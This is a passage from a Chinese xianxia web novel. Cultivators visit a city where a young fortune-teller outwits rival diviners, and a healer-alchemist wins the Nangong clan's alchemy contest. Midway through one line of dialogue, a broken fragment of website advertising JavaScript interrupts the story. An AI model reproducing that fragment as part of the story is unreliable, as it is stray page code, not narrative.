陈松屿方才跟他接触,感觉这年轻人没做什么坏事,为人也算正派。他的面色深沉,道:“先不急着动手,看看再说吧。” 72.玉蝉仙 一 寒风扑面,纵使阳光照下来,也没带来多少暖意。 无双城的城门高大,走进城中,到处一片初冬的寂寥。街上行人络绎不绝,路上有不少修士朝这边来。有和尚有道士,有少年也有老者,好像是为了什么盛会聚拢而来。段星河骑在马上,道:“这里有事?” 李玉真本来在车里打瞌睡,听见声音睁开了眼。他打开车窗看着街上来来往往的人,觉得是有点奇怪。旁边的马车窗户推开一条缝,司空玉出声道:“这里不是南宫家的地盘么,他们是不是又要开斗丹大会了?” 步云邪是丹修,对此最感兴趣,回头道:“什么斗丹大会?” 李玉真想起来了,道:“喔,我知道。南宫家是这里的修真世家,他们族长南宫秀号称天下第一丹修,炼丹的本事十分了得。南宫家每三年开一次斗丹大会,天底下的修士无论正邪,都可以来出售丹药,购买药材和丹方,交流经验。我师父从前来过一次,说人太多了没带我。我爹那阵子天天让我背易经,背死我了。” 他说着拍了拍胸口,还心有余悸。段星河觉得那些人口气太大,扬眉道:“世上的丹修那么多,南宫家凭什么就敢自称第一?” 李玉真道:“不知道啊,可能就是……自信吧?” 六幺嘴里叼着一根草,驾着马车道:“天底下能人这么多,怎么没人踢馆?” 司空玉笑了,道:“不是自封的,他们敢这么自居,还是有底气的。” 六幺道:“大小姐知道?” 司空玉嗯了一声,她哥是紫衣侯,她对修真界的事知道不少,道:“南宫家是修真世家,擅长炼丹和卜算,在无双城树大根深。数百年前他家里有一位修士炼出了一味太阴凝华丹,服下之后就羽化成仙了,留下一具遗蜕至今栩栩如生,被人称作玉蝉仙。” 得道者登仙之后,肉身大都消解,再生出新的仙身;也有的脱去旧的肉身,尸体生出蜡质包裹,不腐不朽,这种留下的遗体被世人称作蝉蜕。难怪南宫家的人这么有自信,家里留着那一具蝉蜕供人瞻仰,便是活招牌。就算日后子孙无能,有这一位厉害的祖先,也够荫庇后人的了。 步云邪有些感兴趣,道:“太阴凝华丹……我听说过,莫不是传说中嫦娥飞升服的药?” 司空玉微微一笑,抚扇道:“就是那个,步兄果然见多识广。只不过那是南宫家的不传之秘,几百年来一直没人知道怎么炼的。” 步云邪道:“他家有这么了得的方子,后来还有人成仙么?” “只有那一个,”司空玉道,“像这种金丹,炼成的条件都苛刻得很,除非有极好的机缘,否则都是不成的。” 伏顺道:“那还参加什么斗丹大会?” 李玉真道:“修炼不是一蹴而就的事,就算炼不成立地飞升的仙药,能炼成个增加一甲子修为的仙丹,你心不心动?” 他这么说,伏顺确实心痒痒的,忽然就有点想去瞧热闹了。他道:“那大会什么时候开?” 李玉真道:“这么多人,一会儿问问就知道了。” 中午时分,大家饿得前胸贴后背。一路上经过几个饭馆都挤满了人,都是来参加斗丹大会的修道者。伏顺跳下车去,去前头问了几家。小二哥摆了摆手,一指对面道:“最近城里的人多,都爆满啦,要不您去对面歌楼打个尖儿? 伏顺道:“啊,我们是修道之人,去那种莺歌燕舞的地方不合适吧。” 他虽然这么说,脚丫子已经蠢蠢欲动地朝向那边了。小二哥笑呵呵地说:“吃顿饭而已,没什么大不了的。就对面那间如烟楼,他家的煎饺是当地一绝,尤其是鲜肉玉米馅儿的,就连南宫家的公子小姐都经常让人来打包呢。” 对面传来丝竹管弦的声音,里头的座位也快坐满了。段星河没那么多讲究,已经迈步走了进去,在大堂里找了个地方坐下。其他人纷纷落了座,李玉真看了宋胡缨一眼,生怕她觉得自己是个不守男德的男人,紧张地搓了搓手,道:“我还没来过歌楼呢。” 宋胡缨面无表情地喝着茶,好像没接收到他表忠的心意。六幺的母亲就是琵琶女,对这里没什么排斥的情绪,神色淡淡道:“就是个寻常喝茶听曲儿的地方,有什么好紧张的。” 司空玉看着珠帘后弹曲儿的伶人,抓了一把瓜子磕了起来,道:“挺好的,也长长见识。” 听说这里的煎饺不错,段星河点了好几盘,又要了些别的菜肴。片刻小二哥端了饭菜上来,众人饿坏了,也顾不上听曲儿,埋头吃了起来。 楼上还有些雅座,有客人包了姑娘陪喝酒,猜拳行令,笑闹声一阵阵传来。段星河抬头望去,见朱红的栏杆边坐着个绿衣少年。他大约十六七岁模样,头发结了个道髻,头上斜斜地别着一根白玉簪子,大部分头发随意地散着,眉宇间透着一股狡黠气,容貌端的是俊美无俦。他的手臂搭在栏杆上,宽大的衣袖垂下来,一只白皙的手随意地搭着。 段星河不知为何,心头一悸,仿佛曾经在哪里见过他似的。伏顺小声道:“二师兄,那人生的比你还好看。” 步云邪的神色淡然,道:“我不过中人之姿,大男人比什么好不好看的。” 少年周围还有四个年轻女子,争先给他喂酒。少年仰头喝了,随手摸了那女子的脸蛋儿一下,很享受这种被女人簇拥的感觉。一个歌女穿着粉色的衣裙,身上的轻纱重重叠叠,就像朵柔美芍药花,撒娇道:“公子,他们都说你铁口直断,说句谶语来听听。” 少年扬起一边嘴角,道:“谶语啊……你会发财。” 歌女撅起了嘴,道:“人家天天在这里,哪有什么发财命。不准,罚你喝酒。” 少年从袖子里掏出一块碎银,放在了她手心里,懒懒道:“钱这不就来了。” 歌女登时笑了,道:“你好讨厌,戏弄人家!” 少年道:“不要啊,那还给我。” 歌女连忙把钱揣进了怀里,道:“要、要,多谢公子。” 她声音软软的,凑过去亲了他脸蛋儿一口。伏顺也看着那边,啧了一声,低声道:“长的这么俊,他玩人家还是人家玩他啊……” 步云邪轻咳了一声,示意他别嘴欠。另一个女子道:“再说一个,还有么?” 那绿衣小公子随手一指,道:“烫烫烫,他会摔跤。” 他指的那个人好端端的,莫名其妙地看着他们。然而越过他,就见一个上楼来的伙计脚下一滑,摔倒在楼梯口,鱼汤洒了一身。 他疼的大喊起来:“烫、烫烫!” 楼上那些女子先是一怔,随即大笑了起来,道:“神了,公子莫不是有天眼?” 另一个伙计连忙过来收拾,随手拿毛巾抽了那人脑袋一记,道:“笨手笨脚的,干什么能行!” 他抬起头,对那绿衣少年赔礼道:“这小子是刚来的,笨手笨脚的。客倌稍等,我们马上送新的来。” 女人们笑的更欢了,那两个伙计也不知道为什么,收拾了东西走了。一名女子道:“老说这些鸡毛蒜皮的小事没意思,公子说个大的谶语,要多大有多大。” 她衣袖一挥,比了个自己都搂不住的大小。少年喝得有点醉了,半闭着眼道:“大一点的啊……天空被乌云遮挡,创造这个世界的神要恢复它的力量了。从另一个地方来的人,是它难以驯服的仆人,将会面临很大的危险。” 他的神色恍惚,仿佛已经看到了自己所说的情形。歌女们没听懂,面面相觑。段星河却竖起了耳朵,对他的话产生了兴趣。一个伙计从旁边经过,段星河低声道:“上面的那位客人是怎么回事?” 那伙计道:“就是在街上算命的,说的话特别准。这里有天赋的人多了去了,没什么好奇怪的。” 李玉真道:“算命能挣几个钱,经得起这么个花法?” 伙计道:“也不是天天过来玩,不过这人运气好,总能找到人帮他买账,不知道今天逮着哪个冤大头呢。” 正说着话,就见两个修士从外头走进来,一个高瘦一些,穿着个道袍,手里拿着个画着太极图的卦招子,一进门就放在了墙边靠着。另一个长着满脸的虬髯,手里提着一口大钢刀,一副凶相。大汉粗声道:“在这儿么?” 那瘦道士四下环顾了一圈,往上一指道:“那儿呢!” 两人大步走上了二楼,居高临下地看着那绿衣少年,道:“好啊你,抢了老子的买卖,还敢在这里逍遥快活!” 那少年一脸莫名其妙地看着他,道:“阁下是谁,咱们认识?” 那道士道:“我二人在此地给人算命,我道号风散人,他是雷散人。你这小子是什么时候来的,为什么跟我们抢生意?” 少年嘿的一声笑了,还以为是什么事,原来是为这个。他道:“我半年前过来投亲,在这里住了有一阵子了。如今这城里到处都是修道的人,一块石头掉下来能砸死三个算命的。我随手算两卦赚点盘缠,怎么就抢着你的生意了?” 风散人愤愤地道:“今天上午周老夫人找我给他儿子合婚,我就来迟了半步,你就给抢了。说好了给我十两银子,你都拿了?” 少年喔了一声,原来是为这个。他无所谓道:“谁知道她是来找你的,盼着死同行也不能这么明显吧,你有本事怎么不去跟城东的谶语师比?” 风散人没想到他一开口就拉了这么一尊大佛,道:“谶语师都一年没开口了,要不是他不干活,哪有你的份儿!” 少年道:“那也没你的份儿啊。” 风散人怒道:“你说什么?” 少年微微一笑,往椅背上一靠道:“我说,干急眼没用,谁有本事谁赚钱呗。” 旁边的雷散人听得不耐烦起来,粗声道:“我看你就是仗着自己长了个漂亮脸蛋儿,骗女人的钱,有什么了不起!老子这一刀下去桌子砍掉一个角,你能挨几下?” 少年觉得这人又粗又笨,不值一哂,淡淡道:“我又不想跟你打,小二哥,麻烦你把这两位请出去。” 小二站在一旁,不敢开口,怕他们发起火来把自己揍了。风散人特地来讨个说法,不可能就这么走了。他一巴掌拍在桌上,气势汹汹地道:“我跟你比覆射,我赢了你三个月不准出摊。” 少年看他是死活要跟自己拼个高低了,懒懒道:“行吧,你要是输了,也三个月别来我眼前晃。” 他招了招手,道:“来——” 旁边的女子解下了红色的裙带,轻轻地缠住了少年的眼睛。那情形十分香艳,伏顺忍不住吞了一下口水,羡慕的魂都要飞过去了。风散人仿佛觉得没眼看,拉着带来的大汉背过身去,悻悻道:“有辱斯文。” 那歌女却笑了一声,觉得他假正经,故意道:“这位道长,要不要人家香你一个。” 风散人立刻道:“你别碰我,老子修的是无情道,不近女色。” 少年道:“那你可要离身边那位大哥远一些,天天腻在一起,男人之间也要出事的。” 风散人被他气的不行,下意识要回头,那女子道:“喂,要放东西了,不准偷看!” 他只好站着不动了,另一名女子往三个大碗里藏了三样东西,轻轻一拍手道:“好了,来猜吧。” 魏小雨听见上面要覆射,十分感兴趣,爬到凳子上往楼上望去。她的灵力比一般人都强,这种事难不倒她。赵大海道:“你看有什么?” 魏小雨静静地望了片刻,低声道:“有个凉冰冰亮晶晶的东西,辛金,是把拆螃蟹的小剪刀。一个圆盒子,装着女子用的东西,红色的……是胭脂吧?还有一个,嗯,太远了感觉不到。” 众人很感兴趣,不知她猜的对不对。那道士盯着碗瞅了一会儿,感觉毫无头绪,头上渗出了细密的汗水。他放弃了观想,掐起了小六壬,片刻胸有成竹地在纸上写下了三个答案,剪刀,胭脂,勺子。 那少年扯下了腰带,看了那三个碗一眼,便提笔写下了答案。雷散人见他轻描淡写的,好像很不把他们放在眼里,不爽道:“欸,你小子认真点啊。” 少年敷衍道:“挺认真的啊,还得跟你兄弟似的憋一头汗才行啊。” 雷散人攥起拳头道:“你说什么!” 旁边的歌女们道:“哎呀别吵了,开了再说,看好了——” 女子揭起了一个碗,里头赫然是一把小剪刀,第二个是一个圆形的纸盒,揭开来一看,是红色的胭脂。魏小雨望见了,兴奋道:“我猜对了吧!” 赵大海心悦诚服道:“厉害,不愧是师父的独生女!” 楼上一对答案,那道士猜对了俩,平心而论还是有些水平的。第三个碗揭起来,却是一块啃了一口的桂花糕。转头一看纸上,那少年写的是一块剩饭。众女都笑了,道:“还是咱们小公子有本事,愿赌服输。这位道士哥哥,你要收摊三个月啦。” 三个月不开张,岂不是要喝西北风。风散人急了眼,道:“你作弊,你连算都没算,怎么猜出来的?” 少年冷冷道:“这玩意儿看一眼就知道了,还用算?” 真正有天赋的人灵觉极强,与凡庸之辈相比差距大如天堑,轻而易举就能凌驾于几十年的苦修之上。譬如楼上这少年,又譬如魏小雨,众人身边就有个神童,也不觉得奇怪。但那道士却嫉妒得发狂,何况这少年对他爱答不理的,更让他觉得自尊被践踏的体无完肤。 少年道:“愿赌服输,你可别耍赖啊。” 风散人气的要命,却又无话可说。旁边的雷散人霍然拔出了刀,锵地一声,硕大的钢刀架在了少年的脖子上。 “啊啊啊啊——” 周围的女子吓了一跳,尖叫着四下躲开了。那少年却淡定得很,保持着躺在椅背上的姿势,垂眸看了一眼白晃晃的刀刃,道:“干嘛,这就输不起了?” 雷散人高大的阴影笼罩在他身上,一副凶神恶煞的模样。魏小雨有点紧张,望着那边道:“他们要杀人吗,要帮忙吗?” 段星河看那少年一副游刃有余的态度,应该能对付得了。他淡淡道:“人家的事,咱们不便插手。” 楼上剑拔弩张,掌柜的有点犹豫,不知道要不要报官。小二哥连忙道:“别,好汉,吃个饭而已,没必要动刀动剑的。来人,给英雄沏一壶菊花茶消消火——” 雷散人却根本不搭理他,只盯着那少年,恶狠狠地道:“你挺厉害的是吧?人人都有一死,算算你是怎么死的!” 少年的目光阴沉下来,似乎也动了真怒。雷散人得意道:“怎么了,你连自己怎么死都算不出来,我看你也不怎么样嘛。” 旁边的女子都有些恼火,却又敢怒不敢言。风散人十分得意,帮腔道:“你到底算不算得出来,不说就算你输了。” 别人以为那少年不会回答,他却开了口,缓缓道:“我会死在一个无名小卒手里。” 雷散人一怔,意识到自己若是杀了他,便是个不值一提的无名小卒。他自认为是个英雄,便不会对他下手。这少年这么说话,显然是在向他示弱求饶了。 他收了刀,大笑道:“不愧是算命的,这一张嘴就是会说话,哈哈哈哈!” 旁边的风散人也露出了轻蔑的眼神,道:“早知道怕不就好了,下回招子放亮点,别来抢爷们的生意!” 他说着一招手,带着雷散人大摇大摆地下楼去了。少年的神色阴沉沉的,望着那大汉道:“你会死无全尸,而你——” 他的目光看向了风散人的背影,道:“你会跟他死在一起,孤零零地弃尸暗巷。” 他的声音极低,身边的女子听不清楚,凑过来道:“什么?” 少年忽地又笑了起来,好像什么扫兴的事都没发生过,摩挲着她的腰身道:“你会再清减几寸,轻盈的能作鼓上舞,当上这里的头牌。” 那女子一手抚脸,喜悦道:“好弟弟,就你会哄人开心。” 歌女们笑了起来,莺莺燕燕的又恢复了热闹。段星河拿着茶杯望过去,一名女子笑道:“再说一个!再来一个!” 少年伸手指了过来,道:“他——会为我付酒钱。” 众人回头望过来,见少年指的正是段星河。伏顺想起了刚才小二哥的话,低声道:“哥,小心,别当冤大头。” 段星河对那少年很感兴趣,摆了摆手道:“无妨。” 他上了楼,微微一笑道:“公子认得我?” “不认得,”少年懒懒道,“不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过我看人极准,一瞧就知道你跟别人不一样。不信的话,咱们来验一验。” 段星河道:“喔?” 少年一抬手,道:“坐。” 段星河在他对面坐下了,少年也坐正了,凑近了些道:“你在找一个人,一直没找到。还有些问题困扰着你,你想解决它,打算往西边去。” 段星河的神色沉了下来,少年一看他这样就知道说中了,露出了狡黠的笑容。 段星河却道:“不准,人已经找到了。” 少年伸出一根手指摇了摇,道:“不,没找到。” 段星河回头看了一眼楼下,魏小雨拿着一根鸡腿,正吃的不亦乐乎。他不想跟这少年较劲了,问了另一个问题,道:“我此去能否达成目的?” 少年却把手一摊,道:“你的问题我帮不了。不过这事到了西边也未必能解决,何必舍近求远呢?” 段星河认真起来,道:“什么意思?” 少年露出了笑容,道:“我说了,你帮我付酒钱?” 段星河道:“可以。” 少年正色道:“此处人杰地灵,说不定有高功德者为你指点迷津。你有难处的时候,往城东转转,说不定会有破局之法。” 他说完了,躺回椅背上去,笑吟吟地看着段星河,等着他为自己买账。一名红衣歌女看热闹不嫌事大,趴在栏杆上向下喊道:“掌柜的,算算这桌多少钱。” 掌柜的噼里啪啦打了一阵子算盘,扬声道:“九两三钱——” 红衣歌女笑呵呵地道:“我们姐妹几个服侍公子十两银子,你们凑个整,给二十两吧。” 伏顺听见了,脸都绿了,大声道:“就这几句话值二十两银子?你把人当冤大头呢!” 少年一副理所当然的模样道:“这话怎么说的,算不起别算,听完了又要耍赖了?” 段星河前几天刚卖了古董,不怎么差钱,便掏出钱来放在了桌上。少年笑呵呵地道:“痛快。” 段星河看着他,觉得这少年有点意思,道:“阁下怎么称呼?” 少年看在他给自己付酒钱的份上,道:“我叫阿萝,在前头大街上算命,有空不妨来找我。” 段星河道:“在下段星河,从大幽钦天监来。” 少年草草一拱手,道:“原来是段兄,幸会幸会。” 步云邪等人已经吃完了饭,在门口等着。伏顺喊道:“哥,走了——” 段星河便下了楼,阿萝把银子揣在了怀里,十分开心,道:“有钱了,来,继续喝酒!” 从如烟楼出来,众人去前头客栈投宿,还好有空房。小二进来送热水,段星河随口道:“这里有什么好去处?” 小二哥热情道:“城西二十里有个大悲寺,造了不少浮屠,挺庄严的。城里就是南宫家,大宗门气派得很。明天就要开斗丹大会了,几位小道爷不是来参加的么?” 段星河等人只是路过,既然遇上了,去凑凑热闹也好。步云邪对此十分感兴趣,推开窗户向前望去,远处的深宅大院里有几座高楼,又有好几重院落,黑色的屋顶层层叠叠的,那便是南宫家的宗门了。 小二哥出了门,步云邪道:“明天没事,去看看?” 段星河道:“行。” 次日一早,街上就有不少修士往城东南宫家走去。段星河等人走在大街上,凉冰冰的晨风吹在脸上,让人精神了不少。前头拐角处走过来一人,穿着深蓝色的棉道袍,头上戴着根桃木簪子,身后背着一柄八卦剑,五十来岁年纪,模样似曾相识。 李玉真先一步认出了他,道:“啊,那不是刘叔吗?” 其他人也认出来了,那人正是浩荡盟的刘通玄,原来跟他们一起被关过采石场,是老难兄难弟了。前阵子他们在凤来城救小雨的时候,他还替段星河等人说过话。 他今日来这里,应该也是参加斗丹大会的。段星河扬声道:“刘叔——” 刘通玄回过头来,顿时一喜。他停下了脚步道:“哎呀,是你们,小朋友也在。” 当日段星河扛着魏小雨拔腿就跑,一群人闹哄哄地去追,刘通玄还担心他们被撵上了。如今见他们都没事,总算放心了。 魏小雨还记得他帮自己说过话,道:“大叔,谢谢你。” 刘通玄笑呵呵地说:“应该的,那帮人不通情理,幸亏上天保佑,让你们都脱身了。” 魏小雨悻悻道:“哪有那么容易,那山羊胡子带人撵了我们一遭,又让蜀山的道士追过来盘问了我们一顿,没完没了的,真的是脚丫子不值钱!” 刘通玄觉得她人小鬼大,十分有趣。他哈哈一笑,看向众人道:“你们也是来参加斗丹大会的?” 段星河道:“是,一起么?” 刘通玄道:“那当然好,老头儿一个人来,正愁没人作伴呢。” 众人来到南宫家门前,登记了名字入内。南宫家的庭院宽阔整齐,大方石砖铺路,两侧松柏成荫,大厅前摆着两只铜鹤,颇有一派高雅之气。 举办大会的地方在侧院,门内放着一块硕大的岩石,上头用朱砂写着聚仙集三个大字。此处大约十丈见方,露天摆满了摊位,顶上搭着棚子遮雨遮阳,是修士们交易的场所。他们来的虽然早,摊位上已经摆满了琳琅满目的东西,热热闹闹的跟过年的庙会似的。李玉真感叹道:“人多的地方未必有江湖,但一定能赶起大集来。” 修士们早就等着这三年一度的盛会了,有的想大赚一笔,有的想购买稀缺的药材。步云邪也炼了不少好药,有点遗憾,道:“早知道就过来占个摊子了。” 刘通玄道:“这些摊位提前好几个月就定出去了,前后持续三天,每天一百两银子。要是没点好东西,摊位费都赚不回来。” 步云邪一诧,没想到这么贵。李玉真从旁边拿起一个抓妖葫芦,凝神感受了一下灵力,觉得不错,道:“这个怎么卖的?” 一名修士道:“一百两银子。” 李玉真翻来覆去地看,道:“结不结实啊,上次就弄破了一个。” 修士拿了一个亮晶晶的紫皮葫芦递给他,热情道:“要结实的你挑这个,紫金镇妖葫芦,保证是上品,只要二百两。我跟你说,挑葫芦就得用我们这种龙虎山的,太清宫出产的不结实,净坑人钱!” 李玉真:“……” 对方虽然贬低了他家的法器,说的也是大实话。龙虎山的道士以降妖为主业,法器的质量确实没的说。李玉真一番讨价还价之后,以一百八十两银子拿下了。他把葫芦挂在腰上,感觉自己有模有样的,拍了拍道:“怎么样?” 赵大海道:“好得很,能装酒么?” 李玉真道:“杀鸡焉用宰牛刀,这玩意儿能抓大妖级别的妖物,才一百八十两银子。” 赵大海点了点头,寻思着一单就把摊位费挣回来了,果然还是摆摊最挣钱。 周围的摊子上有卖灵兽蛋和灵兽幼崽的,有卖雷击木的,有卖香料的,还有卖各种药材的,东西的品质参差不齐,得有一双慧眼才能淘得出好东西。步云邪看了一眼,低声道:“林下参当野山参卖,糊弄不懂行的。” 司空玉最喜欢这种地方,搓了搓手道:“瞒不过我,看我给你们淘点好东西回来。” 她一招手,带着六幺一头扎进了人群中。周围人头攒动,不光有修真材料,还有卖稀奇水果的。一个摊子上堆满了毛椰子,旁边放了个招牌,号称南国仙果,生津止渴。一个小和尚花十个铜板买了一个,在地上用力敲了敲,打不开。魏小雨也没见过这个,蹲在旁边道:“用力,大力出奇迹!” 小和尚把椰子壳撞的咚咚响,听着里头咣当着汁水,就是喝不到。小贩伸出一个手指,在椰子头顶找到了真眼,轻轻一按,椰子啵地一下子开了。 小和尚和小雨惊讶地看着小贩,露出了崇拜的表情。小和尚奇道:“这是什么神通?” 小贩笑眯眯地道:“这个呀,叫大力金刚指。小姑娘,你要来一个吗?” 步云邪走了过来,见小贩一本正经地哄小孩子,忍不住笑了。他掏出一块碎银子,买了两个椰子,小雨一个自己一个,插上了麦秆道:“走吧,去前面逛逛。” 73.玉蝉仙 二 从聚仙集出去,往前幽静处有一个院子,上头挂着块黑底匾额,以金漆写着临仙居三个字。门口有两个南宫家的子弟守着,几名修士出示了请帖走了进去。出入此处的人跟方才那边的人气度衣着都不一样。刘通玄道:“那边是斗丹的地方,里头供奉着玉蝉仙。没有南宫家主的邀请,一般人进不去的。” 众人有些遗憾,步云邪摸了一下腰上挂的葫芦,道:“我也有丹,能不能斗一斗?” 段星河知道他炼丹的本领很高明,就这么回去了实在可惜,道:“咱们去问一问。” 几人走到近前,步云邪行礼道:“在下从大幽钦天监而来,听说此地的斗丹大会十分有名,不知能否参加?” 守卫的弟子近日来见了不少大能,觉得自己水涨船高,也跟着高贵起来,道:“有请柬没有?” 步云邪道:“没有。” “那不行,”守卫道,“这儿是宗门重地,不是什么闲杂人等都能进的。” 另一人见他们气度不凡,道:“你在钦天监干嘛的?” 步云邪掏出了腰牌,出示道:“六品司业,为大幽皇帝炼丹。” 他此言一出,众人的表情都凝重了起来。这里的丹修虽然厉害,能得到皇家认可的却寥寥无几,看来他必然有过人之处。那人道:“你等等,我进去通报一声。” 片刻那人出来了,改换了一副态度道:“失敬失敬,家主说钦天监的大人远道而来,该好好招待,请进来喝杯香茶。” 步云邪道了一声多谢,和段星河、李玉真、刘通玄一起走了进去。家主南宫秀坐在上首,看起来约莫六十来岁年纪,其实已经有三百多岁了。他生着一双小眼睛,神光内敛,中等身材,穿着一身黄色的锦袍,看向了他们。 步云邪抱拳行礼道:“钦天监司业步云邪,拜见南宫先生。” 他的模样俊美,气度不凡,站在一众道骨仙风的修道者之间,有种白鹇般的高雅之气。南宫秀点了点头,道:“原来是钦天监的朋友,阁下为大幽皇帝效力,来参加我这斗丹大会,欢迎之至。” 步云邪道:“晚辈来向各位前辈学习,还请多指点。” 南宫秀见这几个年轻人态度恭谦,十分满意。他抬手道:“请坐吧。” 步云邪等人便落了座,其他人都已经就座了,年纪有大有小,都是丹修。屋子正中摆着一张圆桌,上面放着一个方底圆顶法器,颜色浅青黄色,跟六壬盘相似,分天地两盘,地盘每边各有七个格子,格子上有个半圆形凹陷。顶部的半圆形玉石可以自行活动,上头雕刻着一个北斗七星的纹样,斗柄指向哪里,哪里便是魁首。 步云邪在书上听说过这种法宝,此物叫做万珍撷萃盘,用的是昆山采来的灵玉,由大能炼化制成,能够鉴别丹药灵力的大小。 其他人已经把自己的丹药交了上去,步云邪今日出来,便存了跟这里的人切磋的心思。他的葫芦里盛的是前阵子精心炼制的清虚明窍丹,服用后能增加一年修为,但一年只能服用一颗。若是不贪功冒进,以此丹药佐以打坐修炼,便是个事半功倍的法子。 他把清虚明窍丹交了上去,几名白衣侍女把每颗丹药隔水加热,将药汁用铜勺浇入一个个小盘里,随即摆上了一个香炉,等一炷香燃完了,便能辨别出高下。 其他人坐着喝茶,偶尔低声交谈两句,交流修炼心得。桌子十分之大,他们离上首的南宫秀颇远,气氛不算严肃,甚至还有些轻松。斗丹本身就是一件极有趣味的事,最早是南宫家内部进行的,后来才发展到邀请各路修士参加。据说玉蝉仙喜欢热闹,斗丹的时候越激烈,他越开心。 在座的有龙虎山的人,黔灵山的人,北邙山的人,还有一些散修。一个胖道士对旁边的一个瘦竹竿道:“上次你给我的三阳白露丹的方子,我试过了,不行呢?” 瘦子道:“嗐,我师父也没炼成过,我早放弃了。” 胖道士道:“那丹药之前我见百草谷的人炼成过,一颗十两黄金,这不比炼金子还强么?” 瘦子道:“你光想钱没用啊。炼丹讲究一个天人感应,要内外丹同修才能炼出来,没天赋就别强求了。” 那胖子有些恼火,但也没什么办法,悻悻道:“就你有天赋,炼了五六十年了,这不也就那样么。” 他们说的三阳白露丹,步云邪之前也研究过一阵子,已经攻克了。坊间流传的方子有问题,钦天监给的长生经中的配比是最精确的,他试了几次就成功了。 他听着别人聊天,感觉他们也不过如此,还没自己师父教的深。这些人虽然看起来光鲜,其实也没什么特别大的本领。 南宫秀的身后有一间祠堂,用一道珠帘隔开,正前方放着一具水晶棺,棺材前站着一对穿黑衣的童子。里间点着几盏长明灯,光红幽幽的。那两人就像纸扎的童男童女似的,僵立着一动不动。步云邪注视着前方,想来那里面躺着的就是那具蝉蜕了。 刘通玄见他一直望着里头,端起了茶杯,用盖挡着脸低声道:“那便是玉蝉仙,外间选出前三甲,便送过去请玉蝉仙品鉴。” 李玉真十分纳闷,低声道:“都成仙了,还有空回来给凡人品丹?” 刘通玄道:“历来都是这样的习俗,玉蝉仙一直庇佑着南宫家。斗丹第一名有资格给他上香,得到他保佑的人,能大幅提高炼丹的能力。” 李玉真一副不怎么信的样子,低声道:“我师父飞升了之后,我给他上香他都不回的,也不知道在忙什么。嫡亲的关门弟子被关在采石场,他都没理会。我从那就不怎么相信飞升的神仙了,一个赛一个的没良心。” 步云邪轻咳了一声,示意他说自己师父就算了,别带上南宫家的先人,免得被人架着胳膊扔出去。 一炷香烧完了,玉盘吸收了丹药,上面的天盘嗡地一亮,缓缓转动起来。 众人的目光都投向了天盘,它要转七七四十九圈方停。众人看着它转了十来圈,渐渐停在了一个格子跟前。一名黔灵山的道士露出了笑容,上头写着他的道号,本届斗丹的三甲他占了其中之一。 天盘继续转动,在场的修士们已经按捺不住,没有一开始那么矜持了。有人低声道:“转、转,停,回来,唉……别走啊,再转一圈!” 转到第三十圈时,天盘第二次停了下来。对面一个青衣长者舒了一口气,拱手笑道:“诸位,承让了。” 只剩下最后一个名额了,七七四十九圈即将转完。在场人的心都悬了起来,纷纷低声道:“停,停!” 天盘不疾不徐地转着,有人趴着,有人站着,都紧紧盯着天盘,这便是斗丹最让人激动的时刻了。也不知道是不是错觉,越是盼着它快停,它反而转的越慢,看得人心焦。 段星河看着它缓缓地挪过来,下意识握紧了拳头,低声道:“停,别动了!” 天盘无视所有人的声音,在嘈杂中又转了一圈,终于停了。天盘上的斗柄缓缓地指向了其中一格,上头写着钦天监三个大字。 “好!” 段星河露出了笑容,毫不掩饰骄傲之情。阿云年纪轻轻就把这些白胡子老头比下去了,本领实在了得。李玉真激动道:“前三甲,哈哈哈,步兄你真厉害啊!” 步云邪微微一笑,道:“运气好,是各位承让。” 选出了前三甲,最终的高低还得由玉蝉仙亲自鉴定。南宫秀站起身,向里间走去。他点起了三炷香,默默祷告了片刻,把香插进了香炉里。侍女取出了前三甲的金丹,分别放在三个玉盘里。南宫秀亲自将金丹供在了玉蝉仙棺材前的桌案上,恭敬道:“这便是今年的前三甲,请仙人品鉴。” 众人都静了下来,隔着一道帘子,里头影影绰绰的,与方才热闹的情形相比,此时显得有些神秘。水晶棺旁边有一个乩盘,里头盛满了沙子。白衣侍女手里捧着香炉,走到那两名黑衣小童面前。一阵异香飘来,弥漫着檀香、龙涎香与说不上来的香气,让人有些飘飘然。 两名小童本来低垂着头,深吸了一口香气,渐渐摇起了头。随着香气吸入的越多,小童头摇的越来越猛烈,身体也跟着发抖,就像打摆子似的。两人忽然同时抬起头,定住了身子,精气神跟刚才都不一样了。 有人低声道:“上身了?” 周围静悄悄的,玉蝉仙降临了,没人敢乱说话。 一名侍女捧来了一支红色的乩笔,整体呈燕尾形,下头有一根垂直的木棍用来书写。两个乩童各拿着乩笔的一端,站在沙盘跟前,开始写字。 乩童每写一个字,便有侍女念出来,随手抹掉,另一个侍女誊在纸上。 两个乩童的动作一致,没有丝毫不协调的地方。写出来的字十分清晰漂亮,像一个受过良好教育的大家子弟的笔迹。外头鸦雀无声,只听得见乩笔沙沙的划动声。片刻书写完毕,南宫秀看了一眼,捧着纸卷走了出来。 他道:“多谢各位前来斗丹,今日前三甲排名已出,第三名,三才洞怀岚散人,宁心蕴神丹。第二名,龙虎山柏木道长,重华洗髓丹——” 众人的目光都落到了步云邪的身上,南宫秀道:“第一名,钦天监司业步云邪,清虚明窍丹。” 段星河等人都十分激动,下意识站了起来,兴奋的跟自己赢了似的。众人也没想到这样一个年轻人,居然能夺得斗丹大会的魁首。也有人不服气,低声道:“有什么了,今年太清宫和百草门的炼丹行家都没来,要是来了,能让这个毛头小子占便宜?” 步云邪炼丹的本领多半是跟魏清风学的,融合了彝寨巫师的一些经验,出来之后又从师李慈心,从他的千金医典中学到了不少炼丹的心得,辗转已经是好几个丹修界大能的徒弟了。在座的这些人就算资历比他老,能力也远远比不上他。 李玉真寻思着自己的师父静华真人若是还在,这些人确实一个能打的都没有。但他老人家已经飞升了,自己的老爹不精于炼丹之道,说不定还真的不如步云邪。他低声道:“别听他们胡说,你已经很强了。起码太清宫年轻一辈里,炼丹没几个比你强的。” 步云邪的神色平和,与其说不生气,倒不如是说没把这场胜负放在心上。他本来想学点东西,日后炼御龙长生丹时才有把握,没想到这里的人尚且不如自己。 他隐藏着失望,露出了淡淡的笑容,让自己往好处想想。今日胜出,他的名声传扬出去,在丹修中也是举足轻重之人了。侍女捧来了奖品,头一名是玄真灵尘。第二名和第三名分别是天池琼浆和百年灵芝,都是罕见的炼丹之物。 众人看到了头名的奖品,都睁大了眼,露出了羡慕的眼神。这玄真灵尘是炼化丹炉的极品之物,据说是太上老君炼丹炉中的余烬,吸收了无数金丹的灵力。用它加持过的丹炉,炼丹的成功率能大为上升。 